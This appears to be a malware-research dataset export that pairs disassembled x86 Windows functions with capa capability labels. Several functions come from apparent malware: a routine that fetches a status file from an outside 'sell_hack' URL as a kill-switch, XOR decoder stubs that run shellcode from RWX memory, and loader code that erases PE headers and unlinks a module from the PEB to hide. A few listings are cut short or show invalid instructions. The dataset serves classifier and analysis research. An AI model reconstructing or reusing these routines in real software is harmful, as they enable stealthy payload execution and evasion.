joyce8/EMBER2024-capa huggingface dataset:
Function at 0x101f90ea
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
push ebx
push esi
push edi
push 4
pop eax
call fcn.101f18f0
mov esi, esp
push 0x1c
lea eax, [ebp - 0x28]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x101f9185
mov ebx, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x48]
mov eax, dword [0x102356cc]
lea edi, [ecx - 1]
not edi
and edi, esi
sub edi, ecx
mov esi, eax
dec esi
neg esi
sbb esi, esi
and esi, 0xfffffff1
add esi, 0x11
imul esi, ecx
add esi, ebx
cmp edi, esi
mov dword [ebp - 8], ecx
jb 0x101f9185
cmp eax, 1
je 0x101f91a6
mov dword [ebp - 4], ebx
mov ebx, 0x1000
push 0x1c
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x101f9185
mov eax, dword [ebp - 0x1c]
add dword [ebp - 4], eax
test dword [ebp - 0x18], ebx
je 0x101f9152
test byte [ebp - 0x13], 1
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
je 0x101f9181
xor eax, eax
inc eax
jmp 0x101f91c5
cmp edi, eax
jae 0x101f9189
xor eax, eax
jmp 0x101f91c5
cmp eax, esi
jae 0x101f9190
mov dword [ebp - 4], esi
push 4
push ebx
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov eax, dword [0x102356cc]
jmp 0x101f91a9
mov dword [ebp - 4], edi
dec eax
neg eax
sbb eax, eax
and eax, 0x103
lea ecx, [ebp - 0xc]
push ecx
inc eax
push eax
push dword [ebp - 8]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea esp, [ebp - 0x58]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401016
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4010a6
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x4010a3
push 0x5c
push esi
call dword [sym.imp.MSVCR80.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x4010a3
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x40107c
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x401075
test ebp, ebp
je 0x401075
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x40107c
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x40109d
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x40109d
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x40102e
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x401bc8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x401bd7
pop dword [ebp - 0xc]
mov eax, 0x7b8fd819
sub eax, 0x7b4fbc42
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x461d9eba
add dword [ebp - 0x1c], 0x834a691
mov dword [ebp - 0x18], 0xd7b125d6
sub dword [ebp - 0x18], 0xa57dd991
mov dword [ebp - 0x14], 0xc1f56a1d
add dword [ebp - 0x14], 0x8a56da11
mov dword [ebp - 0x10], 0xfdf98187
add dword [ebp - 0x10], 0x2067e79
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x25ec29f8
add eax, 0xda544668
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x5b10e5f8
add dword [ebp - 0x1c], 0x1961835e
mov dword [ebp - 0x18], 0xea88eee9
sub dword [ebp - 0x18], 0xa91c8d74
mov dword [ebp - 0x14], 0x8f2d34bf
sub dword [ebp - 0x14], 0x2bbdc853
mov dword [ebp - 0x10], 0x6ebda90d
add dword [ebp - 0x10], 0x914256f3
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x6e97f0f4
add eax, 0x91a8800c
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x35687
push 0
call eax
mov ecx, 0x92e7f83d
add ecx, 0x6d184b18
xor edi, edi
add edi, eax
mov ebx, 0xdba74b95
add ebx, 0x2499b46b
add ebx, dword [ebp - 0xc]
mov esi, 0xa15f6c1c
add esi, 0xab604112
xor dword [ebp - 4], esi
mov edx, dword [ebx]
mov dword [ebp - 4], 0xc9b1b681
xor edx, esi
sub dword [ebp - 8], 0xf33bedf1
mov dword [edi], edx
add dword [ebp - 4], 0xb0417cf5
add edi, 0xdd554749
sub edi, 0xdd554745
add ebx, 4
loop 0x401cfb
add eax, 0x471998ea
add eax, 0xb8e7673d
mov ebx, eax
add eax, 0x5881fba1
sub eax, 0x5881fb9c
mov ecx, 0x96965503
sub ecx, 0x96565503
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x10001990
Capabilities:
Create http request
Read data from internet
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 0
push 0
push 0
push str.Some_USER_AGENT
call dword [sym.imp.WININET.dll_InternetOpenA]
push 0
push 0x80000000
push 0
push 0
mov edi, eax
push str.http:__sell_hack_akonline168.honor.es_MiniEasTern.txt
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov esi, eax
lea eax, [ebp - 0x18]
push eax
push 0xf
lea ecx, [ebp - 0x14]
push ecx
push esi
mov dword [ebp - 0x18], 0xf
call dword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [ebp - 0x18]
mov byte [ebp + edx - 0x14], 0
lea ecx, [ebp - 0x14]
mov eax, str.Active
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10001a18
test dl, dl
je 0x10001a14
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10001a18
add eax, 2
add ecx, 2
test dl, dl
jne 0x100019f8
xor eax, eax
jmp 0x10001a1d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x10001a3f
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
xor eax, eax
pop esi
call fcn.10002611
mov esp, ebp
pop ebp
ret
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x100020c0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0xc]
mov eax, dword [esi + 0x18]
test eax, eax
je 0x100020ee
cmp eax, ecx
je 0x100020ee
mov esi, dword [esi]
mov eax, dword [esi + 0x18]
test eax, eax
jne 0x100020e1
cmp dword [esi + 0x18], 0
jne 0x100020fb
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esi + 4]
mov edx, dword [esi]
mov dword [ecx], edx
mov eax, dword [esi]
mov ecx, dword [esi + 4]
mov dword [eax + 4], ecx
mov edx, dword [esi + 0xc]
mov eax, dword [esi + 8]
mov dword [edx], eax
mov ecx, dword [esi + 8]
mov edx, dword [esi + 0xc]
mov dword [ecx + 4], edx
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
mov dword [eax], ecx
mov edx, dword [esi + 0x10]
mov eax, dword [esi + 0x14]
mov dword [edx + 4], eax
mov ecx, dword [esi + 0x40]
mov edx, dword [esi + 0x3c]
mov dword [ecx], edx
mov eax, dword [esi + 0x3c]
mov ecx, dword [esi + 0x40]
mov dword [eax + 4], ecx
movzx edx, word [esi + 0x24]
mov eax, dword [esi + 0x28]
push edx
push 0
push eax
call sub.MSVCR100.dll_memset
push 0x48
push 0
push esi
call sub.MSVCR100.dll_memset
add esp, 0x18
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10002170
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
push ebx
push esi
push edi
push 0
push 0
push 0
push 0
push 0x32
push 0x32
push 0
push 0
push 0
push 0x10005299
push 0x8002
push 0
mov dword [ebp - 8], 0
call dword [sym.imp.USER32.dll_CreateWindowExA]
mov esi, eax
test esi, esi
jne 0x100021b1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x20
call dword [sym.imp.d3d9.dll_Direct3DCreate9]
mov edi, eax
test edi, edi
je 0x1000223d
push 0x38
lea eax, [ebp - 0x44]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
mov eax, 0x258
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x44]
push eax
push 0x20
mov ecx, 1
push esi
push ecx
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x28], esi
mov dword [ebp - 0x3c], 0x16
mov edx, dword [edi]
mov ecx, dword [edx + 0x40]
push 0
push edi
call ecx
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x10002235
mov eax, dword [ebx]
mov edx, dword [ebp + 8]
push 0x1a4
push eax
push edx
mov dword [ebp - 8], eax
call sub.MSVCR100.dll_memcpy
mov eax, dword [ebp - 8]
mov ecx, dword [eax + 8]
add esp, 0xc
push ebx
call ecx
mov edx, dword [edi]
mov eax, dword [edx + 8]
push edi
call eax
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x10002550
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10002608
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
push 0
push 0
push 0
push 0x10002250
push 0
push 0
call dword [sym.imp.MSVCR100.dll__beginthreadex]
add esp, 0x18
test esi, esi
je 0x100025d5
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
push edi
mov edi, dword [esi + 0x3c]
lea eax, [ebp + 0xc]
push eax
push 4
push 0x40
push esi
add edi, esi
call ebx
test eax, eax
je 0x100025ad
push 0x40
push 0
push esi
call sub.MSVCR100.dll_memset
add esp, 0xc
test edi, edi
je 0x100025d3
lea ecx, [ebp + 0xc]
push ecx
push 4
push 0xf8
push edi
call ebx
test eax, eax
je 0x100025d3
push 0xf8
push 0
push edi
call sub.MSVCR100.dll_memset
add esp, 0xc
pop edi
pop ebx
mov ecx, esi
call fcn.100020c0
mov esi, dword [sym.imp.MSVCR100.dll__beginthreadex]
push 0
push 0
push 0
push 0x100011e0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x10001a50
push 0
push 0
call esi
add esp, 0x30
pop esi
mov eax, 1
pop ebp
ret 0xc

Function at 0x10002611
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x1000261b
repz ret
jmp fcn.100029bd
Function at 0x10002e90
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp + 8]
mov dword [eax + 4], ecx
mov edx, dword [ebp - 4]
mov eax, dword [ebp + 0xc]
mov dword [edx + 8], eax
mov ecx, dword [ebp - 4]
mov dword [ecx + 0xc], 0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, dword [ebp - 4]
mov dword [edx], eax
mov eax, dword [ebp - 4]
cmp dword [eax + 4], 0
je 0x10002f01
mov ecx, dword [ebp - 4]
cmp dword [ecx + 8], 0
je 0x10002f01
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_FlushInstructionCache]
test eax, eax
jne 0x10002eea
jmp 0x10002f01
mov eax, dword [ebp - 4]
add eax, 0xc
push eax
push 0x40
mov ecx, dword [ebp + 0xc]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret 8
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x406ac2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x406ad1
pop dword [ebp - 0xc]
mov eax, 0xb5a3d1b7
add eax, 0x4a9c991a
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0xd8863621
sub dword [ebp - 0x1c], 0x8a33f0d6
mov dword [ebp - 0x18], 0xbe3f42e2
sub dword [ebp - 0x18], 0x8c0bf69d
mov dword [ebp - 0x14], 0xdca0fbeb
sub dword [ebp - 0x14], 0x9054b7bd
mov dword [ebp - 0x10], 0x4132bde
add dword [ebp - 0x10], 0xfbecd422
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x1f2d0f52
add eax, 0xe113c102
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x88a969e6
add dword [ebp - 0x1c], 0xebc8ff70
mov dword [ebp - 0x18], 0xd70ddc44
sub dword [ebp - 0x18], 0x95a17acf
mov dword [ebp - 0x14], 0xe0b36826
add dword [ebp - 0x14], 0x82bc0446
mov dword [ebp - 0x10], 0x7d9705d8
add dword [ebp - 0x10], 0x8268fa28
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x4b532f54
sub eax, 0x4b125f08
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x38002
push 0
call eax
mov ecx, 0x40d9
xor esi, esi
add esi, eax
mov edi, 0xa7a4ae40
add edi, 0x589d01c0
add edi, dword [ebp - 0xc]
mov edx, 0xf35dbadb
sub edx, 0xae831ad9
xor dword [ebp - 4], 0xcd2e8c9
mov ebx, dword [edi]
add ebx, edx
xor dword [ebp - 8], edi
mov dword [esi], ebx
add dword [ebp - 8], 0x3741f877
add esi, 0x45d53d69
sub esi, 0x45d53d65
add edi, 0xd70ad124
sub edi, 0xd70ad120
loop 0x406bef
add eax, 0x1147e958
add eax, 0xeeb90cdf
xor ebx, ebx
add ebx, eax
add eax, 0xe6d2fb2b
sub eax, 0xe6d2fb26
mov ecx, 0x400000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x10002500
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, dword [ebp + 0xc]
test edi, edi
je 0x10002561
mov eax, dword [ebp + 0x14]
shl dword [ebp + 0x10], 8
mov ecx, dword [ebp + 8]
push ebx
mov eax, dword [eax]
mov ebx, dword [ebp + 0x1c]
mov dword [ebp + 0xc], eax
mov eax, dword [ebp + 0x18]
push esi
mov cl, byte [ecx]
movsx edx, cl
sub cl, 0x61
cmp cl, 0x19
mov ecx, dword [ebp + 0x10]
lea esi, [edx - 0x20]
cmova esi, edx
mov edx, dword [ebp + 0xc]
add ecx, esi
add eax, ebx
xor eax, dword [edx + ecx*4]
mov ecx, ebx
shl ecx, 5
add ecx, 3
add ecx, esi
add ebx, ecx
mov ecx, dword [ebp + 8]
inc ecx
add ebx, eax
mov dword [ebp + 8], ecx
sub edi, 1
jne 0x10002522
pop esi
pop ebx
pop edi
pop ebp
ret 0x18
mov eax, dword [ebp + 0x18]
pop edi
pop ebp
ret 0x18
Function at 0x401d18
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
je 0x401dba
push 9
push str.ERROR_
push dword [0x40f2ce]
call fcn.004024a9
mov edi, dword [0x40f2ce]
sub eax, eax
mov ecx, 0xffff
repne scasb al, byte es:[edi]
sub edi, 1
push edi
push 0
push 0xa
push dword [ebp + 8]
call fcn.004027bc
cmp dword [0x40ecde], 0
je 0x401d93
push 0xa
push str._IN_LINE
push dword [0x40f2ce]
call fcn.004024e1
mov edi, dword [0x40f2ce]
sub eax, eax
mov ecx, 0xffff
repne scasb al, byte es:[edi]
sub edi, 1
push edi
push 0
push 0xa
push dword [0x40ecde]
call fcn.004027bc
push 3
push 0x40e090
push dword [0x40f2ce]
call fcn.004024e1
push 0xffff
push dword [ebp + 0xc]
push dword [0x40f2ce]
call fcn.004024e1
jmp 0x401dcd
push 0xffff
push dword [ebp + 0xc]
push dword [0x40f2ce]
call fcn.004024a9
push 0x15
push str.ERROR
push dword [0x40f2ce]
push 0
call sub.USER32.dll_MessageBoxA
cmp eax, 2
jne 0x401df0
mov esi, 0x40ecf0
jmp 0x40c501
mov eax, dword [ebp + 8]
leave
ret 8

Function at 0x401df7
Capabilities:
Write file on windows

Disassembly:
push eax
push ebx
push edi
pushfd
mov ebx, dword [0x4112de]
cmp ebx, 0x200
jae 0x401e47
mov edi, dword [0x40f2ce]
mov dword [ebx*4 + 0x40f2de], edi
add ebx, 1
mov dword [0x4112de], ebx
sub eax, eax
mov ecx, 0xffff
repne scasb al, byte es:[edi]
mov eax, 0xffff
sub eax, ecx
test eax, 1
je 0x401e39
add eax, 1
add eax, dword [0x40f2ce]
cmp eax, dword [0x4112e2]
jl 0x401e9a
popfd
push 0x37
push str.PASPLUS_RUNTIME_ERROR:_STRING_MEMORY_OVERFLOW_IN_LINE
push dword [0x40f2ce]
call fcn.004024a9
mov edi, dword [0x40f2ce]
sub eax, eax
mov ecx, 0xffff
repne scasb al, byte es:[edi]
sub edi, 1
push edi
push 0
push 0xa
push dword [0x40ecde]
call fcn.004027bc
push 0x10
push str.ERROR
push dword [0x40f2ce]
push 0
call sub.USER32.dll_MessageBoxA
mov esi, 0x40ecf0
jmp 0x40c501
mov dword [0x40f2ce], eax
popfd
pop edi
pop ebx
pop eax
ret

Function at 0x4023fa
Capabilities:
Write file on windows

Disassembly:
push esi
push 0
push 0x40ec68
push 2
push 0x40e001
push dword [0x40ece6]
call sub.KERNEL32.dll_WriteFile
mov eax, dword [0x40ec68]
pop esi
ret

Function at 0x40294c
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov ebx, dword [ebp + 0xc]
test ebx, ebx
mov dword [ebp - 4], ebx
jne 0x402965
lea ebx, [0x40eff8]
mov dword [ebp - 4], ebx
mov eax, 0
mov dword [ebp - 8], eax
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x402979
mov ebx, dword [ebx]
mov dword [ebp - 8], ebx
mov dword [esi], 0
add esi, 4
mov dword [esi], 0

Function at 0x40342f
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
invalid
add dword [eax], eax
invalid

Function at 0x4036fb
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffffc
mov eax, 0
mov dword [ebp - 4], eax
invalid

Function at 0x404adb
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push dword [ebp + 8]
push dword [ebp + 0xc]
call sub.USER32.dll_GetDlgItem
mov dword [esi], eax
push 0
add bh, bh
call sub.USER32.dll_ShowWindow
add cl, cl
ret 8
Function at 0x406332
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push 0x810
push 0x40
call sub.KERNEL32.dll_GlobalAlloc
mov dword [ebp - 0x14], eax
mov dword [ebp - 0xc], eax
add eax, 0x408
mov dword [ebp - 0x10], eax
add eax, 0x408
push 0x404
push dword [0x40f100]
push dword [ebp - 0xc]
call fcn.004024a9
push 0x404
push dword [0x40f100]
push dword [ebp - 0x10]
call fcn.004024a9
call sub.KERNEL32.dll_GetTickCount
mov dword [esi], eax
mov eax, 0x3e8
add eax, dword [esi]
mov dword [ebp - 4], eax
Function at 0x40f234
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
push edi
push 0x3c
pop esi
push esi
lea eax, [ebp - 0x40]
push 0
push eax
call fcn.004308c0
add esp, 0xc
mov dword [ebp - 0x40], esi
mov esi, dword [ebp + 8]
mov edi, 0x449318
push 0x40198c
mov ecx, edi
mov dword [ebp - 0x3c], 0x100
mov dword [ebp - 0x34], 0x401984
mov dword [ebp - 0x30], esi
call fcn.00426d1d
push esi
mov ecx, edi
call fcn.00426d1d
push 0x4016d4
mov ecx, edi
call fcn.00426d1d
push 0x401280
mov ecx, edi
call fcn.00426d1d
lea eax, [ebp - 0x40]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
pop edi
pop esi
test eax, eax
jne 0x40f2c8
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 4]
call fcn.0040e7a2
mov eax, dword [eax]
mov dword [ebp + 8], eax
push 0x4421bc
lea eax, [ebp + 8]
push eax
call fcn.0042fb98
cmp dword [ebp - 8], 0
je 0x40f2d7
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
leave
ret 4

Function at 0x40f5e4
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
xor edi, edi
push edi
push 1
push edi
push edi
lea eax, [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
jne 0x40f622
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp + 8]
call fcn.0040e7a2
mov eax, dword [eax]
mov dword [ebp + 0xc], eax
push 0x4421bc
lea eax, [ebp + 0xc]
push eax
call fcn.0042fb98
lea eax, [ebp - 4]
push eax
push edi
push edi
push 0x8003
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
jne 0x40f64f
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push esi
jmp 0x40f607
push edi
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
jne 0x40f676
call dword [sym.imp.KERNEL32.dll_GetLastError]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
jmp 0x40f642
push edi
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 0x10]
mov dword [ebp - 0xc], 0x10
push 2
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
test eax, eax
je 0x40f663
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
pop edi
leave
ret 0xc
Function at 0x40f6ac
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
xor esi, esi
push esi
push 0x8000000
push 3
push esi
push esi
push SysReAllocString
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x40f6f4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp + 0xc]
call fcn.0040e7a2
mov eax, dword [eax]
mov dword [ebp + 8], eax
push 0x4421bc
lea eax, [ebp + 8]
push eax
call fcn.0042fb98
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
cmp eax, 0xffffffff
jne 0x40f718
call dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
jmp 0x40f6d9
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
ret 8

Function at 0x41066a
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x4497b8]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push 0xffffffffffffffff
push eax
lea eax, [ebp - 0x10c]
push 0x104
push eax
call fcn.00430a3a
lea ecx, [ebp - 0x10c]
add esp, 0x10
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4106a0
sub ecx, edx
inc ecx
cmp ecx, 0x105
jae 0x410726
push edi
mov byte [ebp + ecx - 0x10c], al
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x134]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x10c]
mov dword [ebp - 0x12c], eax
mov eax, 0x414
mov word [ebp - 0x124], ax
lea eax, [ebp - 0x134]
push eax
mov dword [ebp - 0x130], 3
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
pop edi
test eax, eax
je 0x41072b
push 0x3e3
lea ecx, [ebp - 0x114]
call fcn.0040e7a2
mov eax, dword [eax]
mov dword [ebp - 0x110], eax
push 0x4421bc
lea eax, [ebp - 0x110]
push eax
call fcn.0042fb98
call fcn.0043093a
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0042fb8a
leave
ret 4
Function at 0x419f46
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [edi], ecx
jne 0x419f73
lea ecx, [ebp + 0x13]
call fcn.00419b83
mov al, byte [eax]
mov byte [ebp + 0xf], al
push 0x4438bc
lea eax, [ebp + 0xf]
push eax
call fcn.0042fb98
mov eax, dword [ebp + 0x10]
sub eax, ecx
je 0x419fbf
dec eax
je 0x419fa8
dec eax
je 0x419f94
lea ecx, [ebp + 0x13]
call fcn.0040f377
mov al, byte [eax]
mov byte [ebp + 0xf], al
push 0x4427c0
jmp 0x419f6a
mov edx, dword [ebp + 0xc]
push 2
mov ecx, edx
pop esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419f9f
jmp 0x419fba
mov edx, dword [ebp + 0xc]
xor esi, esi
mov ecx, edx
inc esi
lea ebx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x419fb3
sub ecx, ebx
inc ecx
jmp 0x419fd3
push dword [ebp + 0xc]
call fcn.00431104
pop ecx
push 4
pop esi
mov dword [ebp - 4], eax
lea edx, [ebp - 4]
mov ecx, esi
push ecx
push edx
push esi
push 0
push dword [ebp + 8]
push dword [edi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
pop edi
pop esi
pop ebx
test eax, eax
je 0x41a005
push eax
lea ecx, [ebp + 0x10]
call fcn.0040e7a2
mov eax, dword [eax]
mov dword [ebp + 0xc], eax
push 0x4421bc
lea eax, [ebp + 0xc]
jmp 0x419f6d
leave
ret 0xc

Function at 0x41acbb
Capabilities:
Hide graphical window

Disassembly:
push 0
push dword [ecx]
call dword [sym.imp.USER32.dll_ShowWindow]
ret

Function at 0x41adf5
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
mov esi, ecx
xor edi, edi
cmp dword [esi + 8], edi
je 0x41ae21
lea ecx, [ebp - 1]
call fcn.00419ba9
mov al, byte [eax]
mov byte [ebp + 0xb], al
push 0x443884
lea eax, [ebp + 0xb]
push eax
call fcn.0042fb98
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
test eax, eax
jne 0x41ae51
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0xc]
call fcn.0040e7a2
mov eax, dword [eax]
mov dword [ebp + 8], eax
push 0x4421bc
lea eax, [ebp + 8]
jmp 0x41ae1b
mov al, byte [ebp + 8]
mov byte [esi + 0x10], al
lea eax, [ebp - 8]
push eax
push edi
push esi
push 0x41ad8f
push edi
push edi
mov dword [ebp - 8], edi
call fcn.00432723
add esp, 0x18
push 0xffffffffffffffff
push dword [esi + 0xc]
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 0xc], edi
pop edi
pop esi
leave
ret 4